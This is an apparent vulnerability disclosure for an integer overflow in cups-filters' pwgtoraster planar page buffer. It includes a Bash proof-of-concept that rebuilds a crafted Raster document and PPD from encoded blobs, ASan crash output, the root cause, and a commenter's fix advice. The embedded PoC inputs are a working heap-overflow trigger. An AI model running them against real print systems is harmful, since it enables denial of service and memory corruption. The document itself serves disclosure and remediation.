pwgtoraster: planar page-buffer multiplication wraps to zero

[kimaiden1984-boop]

Summary

The planar output path allocates a whole-page buffer using an unchecked
32-bit height-times-row-size product. A 65,536-by-65,536 derived output page
wraps the allocation request to zero; the first 65,536-byte row is then copied
past the minimal allocation returned by calloc(0, ...).

This state combines a small Raster document with a PPD that selects planar RGB
and an extreme output page geometry. It is therefore primarily a
printer-configuration boundary issue.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.

Validated revisions:

• cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
• libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
• libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d

poc/document.ras is a 67,849-byte Raster input with SHA-256
eb3985c5493ef979664e0569de54492ad335fa9b0f6afdfbd142df784ef5d690.
poc/printer.ppd derives a 65,536-by-65,536 planar RGB output.

Run:

./reproduce.sh

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: pwgtoraster: planar page-buffer multiplication wraps to zero
# Finding ID: pwgtoraster-planar-page-buffer-integer-overflow
# Trigger: The planar output path allocates a whole-page buffer using an
# unchecked 32-bit height-times-row-size product. A 65,536-by-65,536 derived
# output page wraps the allocation request to zero; the first 65,536-byte row
# is then copied past the minimal allocation returned by calloc(0, ...).
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.ras (67849 bytes)
write_file document.ras eb3985c5493ef979664e0569de54492ad335fa9b0f6afdfbd142df784ef5d690 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+3VZ7TIZRwH8L9rJMq4CGWWjBAJ2eN2sxMX2eXiUma4yIh77ZCRrSGjQcksu2GT
Xdm7yI5syjjHvedweuGFlz7fc77nPOf3PM+bz/PiKVQrMqJG15YRkZ2iozoGEp9KcQ293Ry3GxES
BBdC7j0Tv3f/JIjrvbP4SdK4xp8JvetW8L91TMU7HVE+CFKFBTFpw4OgdLgXE5GHNdWioh/sA4sN
EoQkTJQ4ySNJH02W/LHHU6RMlTo0Tdp0T6TPkPHJpzJlzpI1W/ann8nxbM5cufM8lzdf/ucLFHyh
0IuFixR9qVjxEiVLlS5Ttlz5sJfDX6lQsVLlKlWrvVr9tRo1I2rVrvN63Xr1GzRs1PiNN5tENm3W
PKpFy7febtW6Tdt27d/p0LFTdOcuXd/t1r1Hz/d69Y6Nie3Tt1//AQMHvT94yNAPhg0fMfLDUaPH
jB03fsLEjz7+5NNJn02eMnXa5198+dX0GV9/M/PbWbPnzJ03/7vvFyxctHjJ0mU//PjTz8tXrFy1
es3adet/2bBx0+YtW7f9+tvv23fs3LV7z959+w8cPHT4jz+PHP3r2PETJ0+dPvP32XP/nL9w8dLl
K1evXf/3vxs3CRAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAg
QIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAA
AQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIE
CBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAg
QIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAA
AQIECBAgQIAAAQK3AIijBpsJCQEA
POC_PAYLOAD_0

# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (1503 bytes)
write_file printer.ppd 1746f1f747908da00366526cfa9202b3109b640bbe6cac9d65b66eeceb9467b1 <<'POC_PAYLOAD_1'
H4sIAAAAAAACA41S227iMBR8z1dYPLVIJReuRVUlLqWLCiUqYlfbigeTmNRaY0dO0u3y9XvslDhQ
QDwkUWbGZ86Z46rvD296oViRLqo0avWKVR0JucHpTyITKrhBKSMGc2sOYBPMowxHBn/gEaPJu2Ee
eCBCyqMuGs9nE5xS7lrVKebZGgdpJomEWrOYcF9SDmQERaciJOwZb1RDQRYnN2vKUjBA62y7RbEU
8E9AN38XMn2mwZ9TWtCco0ul/IGa7ks4Wry+1iAVhUsRZkEK4NXJ49dKNzfJXNUd17lGKh51piAg
sRzJ58s2KzX8DoNEMBuImJKki0aYJSQnRtoRyuI4ZjSAAAW3P3hY0/1InACLHBT/jVKR/4GvCnQx
RlUfFjCnWxjKhxxmHGoOyRpnLDVMr2EVOvixew0wu7uzd9hbq9mst5B+L+3xBkewpX5ffCKeMXZ/
n5A0BmlIPmigo9zVmpAUurHzz2FN10PtW++SegMmErIYd800xRDqMMErRnqS4HySPQjpWRyIpzRD
5VBUNOh2EIiatw3UbipZEVVM5JBuCM/3mAdWxnKffY8DRWHyNXlpSQPBhNR34vuaytzLY98qidGj
xP9s9cqzVfdBs/MYBwS5HY30aZr4RGoC7UE+/YQinSOBGwuwtOE5bmCAmQzhEnqXGWoIbr9WJKh+
toHB9PeTrV5HW2hd5Fj3zl0qY2Y28kISwbJUb/twI2Wu7YUxtUryHLHbHoJP3vKPX4Z+A6LtLb+3
U6rQchxVAj4naigGnuW5oYzc+g8BVgD/3wUAAA==
POC_PAYLOAD_1

Result

ASan reports a 65,536-byte heap-buffer-overflow write at
pwgtoraster.c:2159, immediately after the minimal region representing the
zero-size allocation at line 1772. The plain build exits with SIGSEGV,
status 139.

The complete 65,536-byte copied row is controlled by the Raster document. The
memory primitive is broad and direct, but its PPD must enable planar RGB and
derive an approximately 23-metre-square page. Ordinary print-job submitters
do not normally control that configuration.

Cause and expected behavior

For planar output, doc->outheader.cupsHeight * inlinesize is evaluated from
32-bit values:

65,536 * 65,536 = 2^32

The product passed to calloc() at pwgtoraster.c:1772 is therefore zero.
The per-row destination expression and 65,536-byte memcpy() at lines
2159-2160 retain the logical dimensions.

The page-buffer size and every row offset must use checked size_t
arithmetic. Impractical page dimensions should be rejected before any
allocation, independently of PPD validation.

[gnoack]

My 2¢; Quoting line 1772 where the allocation happens:

pagebuf = (unsigned char *)calloc(doc->outheader.cupsHeight * inlinesize,
                                  sizeof(unsigned char));

This would better be written as:

pagebuf = calloc(doc->outheader.cupsHeight, inlinesize * sizeof(unsigned char));

The man page for calloc(3) is a bit misleading when it says that it allocates an array of n members of size size each.

The real point of this function is that it checks that the multiplication doesn't overflow. But if one of the two arguments is 1 (sizeof(char)), we are not making use of that feature.

(This is not the only place in the code where this is used wrongly.)

If you want to keep consistency with the man page description, you can also keep it as is, but then you'd need to turn the doc->outheader.cupsHeight * inlinesize multiplication into a checked multiplication. The state of the art for that is the ckd_mul() function standardized in C23 (see https://blog.gnoack.org/post/int_overflow_c23 for an overview).